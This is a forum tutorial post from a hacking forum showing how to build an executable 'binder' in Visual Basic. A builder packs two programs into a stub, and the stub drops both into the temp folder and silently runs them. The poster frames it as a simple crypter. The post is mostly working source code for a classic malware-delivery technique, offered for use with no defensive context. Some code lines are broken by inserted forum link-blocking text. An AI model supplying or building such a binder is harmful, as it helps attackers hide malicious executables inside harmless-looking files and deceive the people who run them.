comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Make your own binder Quick [TUT]

  • 0 Respuestas
  • 2776 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado The Punisher

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Mayo 04, 2010, 06:48:05 pm »
Binder Quick TUT

Today I decided to write a tutorial on how to make your own binder in Visual Basic 2008. It's a simple crypter just binds 2 executable files.

BUILDER :

Add the following forms:

2 buttons
2textboxs


You're form should look like this:




Okay, now double click the BUTTON 1 and type the following code:


Código: C#
  1.         Dim ofd As You are not allowed to view links. Register or Login OpenFileDialog
  2.         ofd.Title = ""
  3.         ofd.Filter = "*.exe | *.exe"
  4.         ofd.Title = "File 1"
  5.         If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox1.Text = ofd.FileName
  6.         ofd.Title = "File 2"
  7.         If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox2.Text = ofd.FileName

And then double click the BUTTON 2 and type this code:

Código: C#
  1.         Dim stub, File_One, File_Two, Filename1, filename2 As String
  2.         Const FileSplit = "47150"
  3.         FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
  4.         File_One = Space(LOF(1))
  5.         FileGet(1, File_One)
  6.         FileClose(1)
  7.  
  8.         FileOpen(2, TextBox2.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
  9.         File_Two = Space(LOF(2))
  10.         FileGet(2, File_Two)
  11.         FileClose(2)
  12.  
  13.         FileOpen(3, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
  14.         stub = Space(LOF(3))
  15.         FileGet(3, stub)
  16.         FileClose(3)
  17.         Dim OutputFile As String
  18.         Dim sfd As You are not allowed to view links. Register or Login SaveFileDialog
  19.         sfd.Filter = "*.exe | *.exe"
  20.         If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
  21.             OutputFile = sfd.FileName
  22.         Else : Exit Sub
  23.         End If
  24.         Filename1 = TextBox1.Text.Substring(TextBox1.Text.LastIndexOf("\"))
  25.        filename2 = TextBox2.Text.Substring(TextBox2.Text.LastIndexOf("\"))
  26.        FileOpen(3, OutputFile, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
  27.        FilePut(3, stub & FileSplit & File_One & FileSplit & File_Two & FileSplit & Filename1 & FileSplit & filename2)
  28.        FileClose(3)
  29.        MsgBox("Binded")
Now you're done with builder, make a new form called "Stub".

STUB:

Here we don't need any forms .. just click on the form and add the following code :
Código: C#
  1.  On Error Resume Next
  2.         Dim TPath As String = System.IO.Path.GetTempPath
  3.         Const FileSplit = "47150"
  4.         Dim file1, joesdaddy, filez() As String
  5.         FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
  6.         file1 = Space(LOF(1))
  7.         FileGet(1, file1)
  8.         FileClose(1)
  9.         filez = Split(file1, FileSplit)
  10.         FileOpen(3, TPath & filez(3), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
  11.         FilePut(3, filez(1))
  12.         FileClose(3)
  13.         FileOpen(5, TPath & filez(4), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
  14.         FilePut(5, filez(2))
  15.         FileClose(5)
  16.         System.Diagnostics.Process.Start(TPath & filez(3))
  17.         System.Diagnostics.Process.Start(TPath & filez(4))
  18.         Me.Close()
  19.         End
Note:You must use the same filesplit in builder and stub otherwise it won't work. My filesplit is "47150".

Nathan72389-Source Code.
« Última modificación: Junio 27, 2015, 08:50:25 pm por Expermicid »

 

¿Te gustó el post? COMPARTILO!